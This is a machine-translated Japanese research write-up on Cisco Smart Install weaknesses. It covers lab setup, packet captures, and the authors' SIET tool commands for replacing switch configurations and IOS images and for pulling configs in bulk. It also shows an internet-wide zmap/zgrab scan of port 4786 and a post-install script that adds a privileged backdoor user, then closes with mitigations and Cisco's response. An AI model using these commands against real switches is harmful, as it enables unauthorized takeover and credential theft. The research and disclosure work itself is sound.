Cisco Smart Install。 技術を研究し、攻撃ベクトルを探す

画像



䞀日の良い時間 Digital Securityの倏期むンタヌンシップで提案されおいる通垞の「孊生」トピックが本栌的なセキュリティ研究に発展するこずを想像するこずさえ䞍可胜でした。



テクノロゞ自䜓、ハヌドりェア芁件などに぀いおは、もちろん、補造元のWebサむト Cisco Smart Installで読むこずをお勧めしたす 。



簡単に蚀うず、「Smart Installは、新しいネットワヌクスむッチの珟圚のオペレヌティングシステムむメヌゞを最初に構成およびダりンロヌドするプロセスを自動化できるテクノロゞです。 ぀たり、「箱から出しお」すぐに取り出される新しい機噚をすぐに恒久的な堎所に蚭眮でき、管理者の関䞎なしに初期操䜜に必芁なすべおのデヌタがネットワヌク経由で配信されたす。 その過皋で、テクノロゞは構成が倉曎されたずきにも構成をバックアップしたす。



したがっお、これが䜕らかの圢で機胜するために、このテクノロゞヌはデフォルトで有効になっおいたす。 このテクノロゞヌが䜿甚されおいるデバむスの完党なリストは、補造元のWebサむトで芋るこずができたす Cisco Smart Install Supported devices 。



以䞋で説明するすべおの攻撃が「クラむアント」に圱響するこずを理解するこずが重芁です。



もちろん、最初のこずは、珟圚のCisco Smart Installむンフラストラクチャモデルを再䜜成するこずでした。最初は、「仮想」環境 たずえばgns3 でこれを行うこずができるずいう確信がありたしたが、このアむデアからSmart Installをサポヌトするデバむスむメヌゞの怜玢に長い間倱敗したした拒吊しなければなりたせんでした。



ここでケヌスが本圓に圹立ちたした。 偶然に1぀のプロゞェクトが未完成のたたで自由に䜿えるようになったので、テクノロゞヌを研究するためのテスト環境を再構築するのに適した機噚を芋぀けたした。



テスト環境のレむアりトず構成



画像



Smart Installに関する「Director」構成のフラグメント



vstack group custom c2960Lan product-id image tftp://192.168.1.5/c2960-lanbasek9-tar.150-2.SE10.tar config tftp://192.168.1.5/c2960-lanbase_config.txt match WS-C2960-48TT-L <- Group based on Product ID vstack group custom c2960SLan product-id image tftp://192.168.1.5/c2960s-universalk9-tar.152-2a.E1.tar config tftp://192.168.1.5/c2960SLan_confg match WS-C2960S-48TS-L <- Group based on Product ID ! vstack dhcp-localserver LANPOOL address-pool 192.168.1.0 255.255.255.0 file-server 192.168.1.5 default-router 192.168.1.1 ! vstack director 192.168.1.1 vstack basic vstack startup-vlan 1 vstack backup file-server tftp://192.168.1.5/
      
      





䞊蚘の構成からわかるように、補品IDによるデバむスグルヌプ化を䜿甚したした。

「クラむアント」をダりンロヌドしお「ディレクタヌ」に登録するず、次の図が衚瀺されたす。



 Director# show vstack status SmartInstall: ENABLED Device Status: ACT - Active INA - Inactive PND - Pending Update HLD - On-hold DNY - Denied NSI - Non Smart Install Image Upgrade: i - in progress I - done X - failed Config Upgrade: c - in progress C - done x - failed Director Database: DevNo MAC Address Product-ID IP_addr Hostname Status ===== ============== ================= =============== ========== ========= 0 fc99.4737.8660 CISCO2901/K9 192.168.1.1 Director.y Director 1 a8b1.d464.2480 WS-C2960S-48TS-L 192.168.1.4 SW_EXT ACT IC <-“Clienr2" 2 d0c2.8279.1880 WS-C2960-48TT-L 192.168.1.2 LAN ACT IC <-“Client1"
      
      





最初の詊み



䜕らかの理由で、たったく新しいトピックを勉匷する前に、ルむス・キャロルの「䞍思議の囜のアリス」の䞍滅の䜜品からの行が、王が詩を読むようにりサギに頌むず私の蚘憶に珟れたす。



どこから始めたすか、Your䞋 癜うさぎに尋ねた。



最初から始めお、「王様は厳beginningに蚀いたした」、そしお最埌に達するたで続けたす。 じゃあやめお Boris Zakhoderによる翻蚳



私は「最初から」始めようずしたす。 システムを暪から芋るだけです。



ラップトップを「Directors」ネットワヌクに接続し、DHCP経由でネットワヌクパラメヌタを取埗したす。 Wiresharkを起動し、ネットワヌクカヌドに届くネットワヌクパケットを芳察したす。



もちろん、私は䜕も面癜いものを芋たせんでした。 ここで、ケヌスが再び介入したした。ネットワヌクワむダが「クラむアント2」に枡される方法が奜きではありたせんでした。 切断した埌、「定性的に」コヌドを敷き、スむッチをオンにしたした。



「クラむアント2」が「Director」からネットワヌクパラメヌタを受信するず、ブロヌドキャストパケットを芳察したす。ネットワヌク蚭定に加えお、特に「Director」ネットワヌクの特定のパラメヌタ、特にバックアップ構成ファむルの堎所を含むDHCP芁求ぞの応答です。







わずか数分で、発芋された「脆匱性」を悪甚するアルゎリズムが圢成されたした。





「正垞に機胜する」スマヌトむンストヌルでネットワヌクに接続できる堎合、「クラむアント」構成のすべおのバックアップコピヌを収集し、ネットワヌクトポロゞを芋぀け、運が良ければ、ネットワヌク機噚管理者のパスワヌドを取埗するこずは難しくありたせん。



デバむス構成ファむルの眮き換え



次に、コマンドを入力しお構成ず゜フトりェアの曎新を匷制するずきに、「Director」から「Client」に送信されたネットワヌクパケットを収集するこずにしたした。



ポヌト䞊のすべおのネットワヌクトラフィックを「リッスン」するために、シスコにはセッションの監芖ずいう優れたツヌルがありたす。



「Director」で、「Client 1」が接続されおいるポヌトからノヌトブックが接続されおいるポヌトぞのネットワヌクトラフィックの「ミラヌリング」を構成したす。



モニタヌセッション1゜ヌスむンタヌフェむスFastEthernet0 / 1

モニタヌセッション1宛先むンタヌフェむスFastEthernet0 / 2



Wiresharkを起動し、ネットワヌクカヌドに届くネットワヌクパケットを芳察したす。

「Director」で、「Client 1」の構成を匷制的に曎新するコマンドを順番に実行したす。





vstack download-configコマンドの構文ず蚭定したコマンドを比范するず、「クラむアントスむッチのパスワヌド」パラメヌタヌが「NONE」であるこずがわかりたす。 原則ずしお、次の理由により、任意の文字シヌケンスを䜿甚できたす。「パスワヌドは、Smart Install察応ではないスむッチにのみ必芁です。 すでにSmart Installネットワヌクにあるスむッチには必芁ありたせん」-シスコのWebサむトの説明から。



関連するネットワヌクパケット



画像



画像



画像



゜ケットパッケヌゞでPython 2.7を䜿甚するこずで倧きな成功を期埅するこずなく、ラップトップから「クラむアント1」に同じネットワヌクパケットを圢成しお送信しようずしたしたラップトップを「Director」の「通垞の」ポヌトにミラ​​ヌリングなしで接続したした。



「クラむアント1」は、「ディレクタヌ」からコマンドを受信したずきず同じ方法でコマンドを凊理したした



任意の構成ファむルを「クラむアント」にアップロヌドしお、それを完党に制埡できるこずがわかりたした。 確かに、珟圚の構成は倱われるため、珟時点では「サヌビス拒吊」にすぎたせん。



研究の過皋で、すべおの攻撃を実行するツヌルを䜜成する必芁があるこずが明らかになりたした。 Pythonが蚀語ずしお遞択されたした。 結果はgithubに投皿されたす。



デバむスの蚭定を眮き換えるには、蚭定ファむルが必芁ですが、蚭定ファむルがない堎合は詊しおみたい堎合、ナヌティリティはデフォルト蚭定を䜜成し、telnet経由でさらにアクセスできるようにしたす。



 sudo python siet.py - -i 192.168.1.4
      
      





IOSむメヌゞの眮換



ディレクタヌずクラむアント間で亀換されるネットワヌクパケットの監芖を継続したす。 アむデアが浮䞊したしたデバむス構成ファむルを眮き換えるこずができたら、なぜiOS党䜓に気付かないのですか。 このプロトコルは、関連する機胜を提䟛したす。





関連するネットワヌクパケット



画像



画像



「攻撃」ラップトップからこれらのパケットを送信する実隓は、前のものず同様に終了したした。IOSを曎新するコマンドが「ディレクタヌ」から来た堎合、「クラむアント1」は同じように動䜜したした。



そしお、Smart Installを䜿甚するかどうか、ネットワヌクに「Director」ず「Client」が存圚するかどうかは関係ないずいうこずがわかりたした。 プロトコルコマンドはずにかく凊理されたす。



理論的には、必芁なすべおの「ブックマヌク」で満たされたIOSむメヌゞを準備し、ネットワヌクスむッチに「アップロヌド」するこずが可胜です。



このようにしお、新しいCisco 2960スむッチの構成ずIOSを「箱から出しお」曎新するこずに成功したした。



Smart Installの「クラむアント」の芁件を満たすすべおのデバむスは、「Director」がなくおも構成および゜フトりェアを曎新するコマンドの圱響を受けやすいこずがわかりたした。



次のコマンドを䜿甚しお、むメヌゞの曎新を詊みるこずができたす。



 sudo python siet.py –u –i 192.168.1.3
      
      





アップグレヌドプロセス䞭に、iOSむメヌゞファむルが芁求されたす。 iOSファヌムりェアにコヌドを埋め蟌む方法に぀いおは、 こちらをご芧ください 。



デバむスから構成ファむルを盗む



前述の䜜業が完了した時点で、むンタヌンシッププログラムは䞀般的に完了したように思えたした。 研究の䞻題が研究されたす。 脆匱性が芋぀かり、ネットワヌクスむッチぞの䞍正アクセスに䜿甚されたした。



しかし、むンタヌンシップマネヌゞャヌのGrrrnDog 特別な「ありがずう」は、デバむスから構成を盎接「取埗」する機䌚を芋぀けるために、プロトコルの研究を続ける必芁があるず確信したした。



構成を蚘録するずき「クラむアント」コン゜ヌルでメモリコマンドを曞き蟌む たたは「ディレクタヌ」がリブヌトするずきのデバむスのバックアップコピヌの自動䜜成に専念する「スマヌトむンストヌル」技術に興味がありたした。



クラむアント2コン゜ヌルで、構成を䞍揮発性メモリ曞き蟌みメモリに曞き蟌むコマンドを指定したす。



構成のバックアップコピヌを䜜成するための「Director」からのネットワヌクパッケヌゞには、3぀の「copy」コマンドが含たれおいたした。



画像



 opy tftp://192.168.1.5//SW_EXT-a8b1.d464.2480.REV2 to flash:SW_EXT-a8b1.d464.2480.tmp
      
      





画像



 opy nvram:startup-config to tftp://192.168.1.5//SW_EXT-a8b1.d464.2480.REV2
      
      





画像



 opy flash:SW_EXT-a8b1.d464.2480.tmp to tftp://192.168.1.5//SW_EXT-a8b1.d464.2480.REV1
      
      





以前の構成バックアップも保存されおいるこずがわかりたす。



ネットワヌクパケットにコマンドのわずかに異なるシヌケンスを挿入する誘惑を避けるこずはできたせんでした。たずえば、次のずおりです。



 configure terminal username cisco privilege 15 secret 0 cisco exit
      
      





しかし、残念ながら、「コピヌ」コマンドを陀いお、「クラむアント」は䜕も認識したせん。 「明確に機胜する」ネットワヌクパケットをコンパむルする過皋で、IOSバヌゞョンが15.0以䞊のCisco Catalystクラむアントでは、copy to flashコマンドが最初のコマンドでなければならないこずが刀明したした。



その結果、「クラむアント」䞊のTFTPサヌバヌぞの構成の転送を開始するパケットは、2぀のコマンドで構成されたす。



 copy nvram:startup-config flash:/config.text copy nvram:startup-config tftp://192.168.1.5/client.conf
      
      





したがっお、問題は小さいたたで、このようなパッケヌゞをナヌティリティに送信する機胜を远加したした。これは正垞に行われたした。 チヌム



 sudo python siet.py -g -i 192.168.0.4
      
      





構成ファむルをデバむスにコピヌし、必芁に応じお線集たずえば、管理者に自分を远加しお、リモヌトデバむスに適甚するこずができたす。



ある皋床の操䜜経隓の埌、可胜な限り倚くの特暩ナヌザヌパスワヌドを収集するために、倚数のデバむスから構成ファむルを倧量コピヌするこずが圹立぀堎合があるこずがわかりたした。 残念ながら、ナヌティリティの最初のバヌゞョンはこれをゆっくりず行い、シングルスレッドtftpサヌバヌは倧量のファむルの流入に察凊できたせんでした。



ナヌティリティにマルチスレッドが远加されたしたが、これたでのずころ完党にはテストされおいたせん。



 sudo python SIET2/siet2.1.py –l list.txt –g
      
      





ここで、list.txtは、ポヌト4786が開いおいるIPアドレスのリストを含むファむルです。それから、grepに任せたす。



あなたはたくさんいたすか



サヌビス拒吊を匕き起こすだけでなく、デバむスの構成を盗み、理論的にはそれを介しおフルアクセスを取埗する可胜性を発芋した埌、「野生」で芋぀けられるデバむスの数を芋぀けるためにむンタヌネットをスキャンするこずにしたした。



tcp 4786ポヌトでの単玔なスキャンは完党に客芳的ではないため「ディレクタヌ」にもこのポヌトがありたす、そのようなデバむスを識別する方法が必芁でした。



この目的のために、サヌビスのバヌゞョンを決定するnmap“ samples”https://svn.nmap.org/nmap/nmap-service-probesは完党に適切です。



 match cisco-smartinstall m|^\0\0\0\x04\0\0\0\0\0\0\0\x04\0\0\0\x04\0\0\0\x01| p/Cisco Switch Smart Install/ d/switch/ o/IOS/ cpe:/o:cisco:ios/a
      
      





その埌、それは小さく、むンタヌネットスキャンを敎理し、怜出されたデバむスにサンプルを送信し、応答を蚘録したす。 これは、zgrabず組み合わせるずzmapが䟿利になる堎所です。



 zmap -r 10000 -p 4786 -o - | ./zgrab -timeout=10 -port=4786 -data probe.txt -output-file=banners.json
      
      





その結果、251801台のデバむスが芋぀かりたした。 ただし、残念ながら、このnmapテストがすべおのデバむスに適しおいるずいう確実性はないため、この結果は正確ずは蚀えたせん。 ポヌト4786が開いおいる玄900䞇のデバむスが芋぀かりたしたが、それらのほずんどはルヌタヌであり、これらの攻撃の圱響を受けたせん。



デバむスでコマンドを実行する



私たちが発芋した機䌚に気付いた埌、情報セキュリティに関する䌚議であるZeroNight 2016で行われた䜜業に぀いお話すこずにしたした。

䌚議のレポヌトを準備する過皋で、「Smart Install」テクノロゞヌの説明が蚘茉されたシスコのWebサむトのペヌゞに再床アクセスし、開発者が新しい機胜を远加したこずを発芋したした-「Smart Install」ネットワヌク䞊の新しいデバむスの正垞な初期化埌に完了する必芁があるコン゜ヌルコマンドを指定する機胜 これらのコマンドは、いわゆるファむル圢匏で発行されたす 「むンストヌル埌スクリプト」。



このようなファむルの䟋 Cisco Webサむトで提䟛



 "sdm prefer degault" "vlan 12" "name TEST" "exit"
      
      





明らかに、ファむルの各行は、スむッチで端末構成モヌドに入った埌に入力された䞀連のコマンドです端末の構成。 このアむデアは、2行目の終わりに「出口」が存圚するこずによっお促されたす。



この新しい機胜を研究するには、Cisco Catalyst 3750WS-C3750X-48P、IOS 15.24E2を「ディレクタヌ」ずしお採甚する必芁がありたした。 蚭定は叀い「Director」からコピヌされ、「c2960SLan」グルヌプの蚭定セクションに次の行が远加されたした。



 script tftp://192.168.1.5/c2960-lanbase_post_install.txt
      
      





ファむルを䜜成したす-「むンストヌル埌スクリプト」



 c2960-lanbase_post_install.txt: "interface GigabitEthernet1/0/1" "desc TEST" "exit" "username ccc privilege 15 secret 0 cisco" "exit“
      
      





「クラむアント2」の蚭定を「消去」し消去コマンドを曞き蟌み、再起動したす。 IOSを曎新し、䞀般的な構成をダりンロヌドする既知のプロセスずずもに、c2960-lanbase_post_install.txtファむルの内容が読み取られ、そこに曞き蟌たれたコマンドが実行されたす。



「Director」から「Client 2」が受信したネットワヌクパケットは次のようになりたす。



画像



ファむルからコマンドをダりンロヌドしお実行するには、「クラむアント」がネットワヌクパケットでこのファむルの堎所に関する情報のみを送信するだけで十分であるこずがわかりたした残りは「れロ」で埋められたす。



「トリック」は、cccナヌザヌずしおデバむスにログむンに倱敗するず非垞に印象的に芋えたすが、ネットワヌクパケットを「クラむアント」に送信した埌、承認が突然「パス」したす。



芋぀かった制限





保護の方法



私の意芋では、この問題を解決する最も簡単な方法は、必芁に応じおプロトコル機胜を含む「鉄トグルスむッチ」を远加するこずです。 したがっお、「れロタッチむンストヌル」の抂念に違反するこずはありたせん。 プロトコルの機胜を䜿甚しないナヌザヌは、デバむスを䟵害したせん。



すでにリリヌスされおいるデバむスでは、Smart Installを䜿甚しない堎合は無効にする必芁がありたす。 これを行うには、デバむスのコン゜ヌルでno vstackコマンドを䜿甚したす。 その埌、show vstack configコマンドの出力は次のようになりたす。



 switch#show vstack config Role: Client (SmartInstall disabled) Vstack Director IP address: 0.0.0.0
      
      





それでも、Cisco Smart Installテクノロゞヌを適切に䜿甚するこずにより、倚数のデバむスで構成されるネットワヌク機噚を効果的に管理できたす。 この効率は、さたざたな建物や地域に分散したネットワヌクを管理する堎合に特に顕著です。



暙準の機噚構成にアクセスリスト蚭定を含めるこずで、䞊蚘の攻撃から身を守るこずはほが100安党です。これにより、「Director」のIPアドレスが明確に瀺され、Smart Installポヌトでネットワヌクパケットを受信できたすtcp 4786 



この蚘事で説明するテスト環境の「クラむアント」構成の䟋を瀺したす。



 interface Vlan1 ip address dhcp ip access-group 101 in ! access-list 101 permit tcp host 192.168.1.1 192.168.1.0 0.0.0.255 eq 4786 access-list 101 permit tcp any any neq 4786 access-list 101 permit udp any any access-list 101 deny ip any any !
      
      





ベンダヌの反応



芋぀かった問題に぀いおシスコに報告した埌。 次のような応答がありたした。



ただし、培底的な分析ず内郚の議論の結果、これは脆匱性ではないず刀断したした。

Cisco IOS、IOS XE、たたはSmart Install機胜自䜓で䜿甚されたすが、蚭蚈による認蚌を必芁ずしないSmart Installプロトコルの正圓な機胜の誀甚です。



同瀟は、朜圚的な危険をナヌザヌに譊告するセクションを远加するこずにより、りェブサむトのプロトコル情報を曎新したした。



そしお、3か月埌、圌らはこの研究に感謝の意を衚明し、再び公に問題を報告したした 。



あずがきず感謝



この出版物は、 劚害行為ずのコラボレヌションの結果です。 芋぀かった脆匱性の悪甚に関するすべおの資料を曞いたのは圌でした。



繰り返したすが、むンタヌンシップのGrrrnDogのヘッドに特別な感謝を衚明したいず思いたす。



All Articles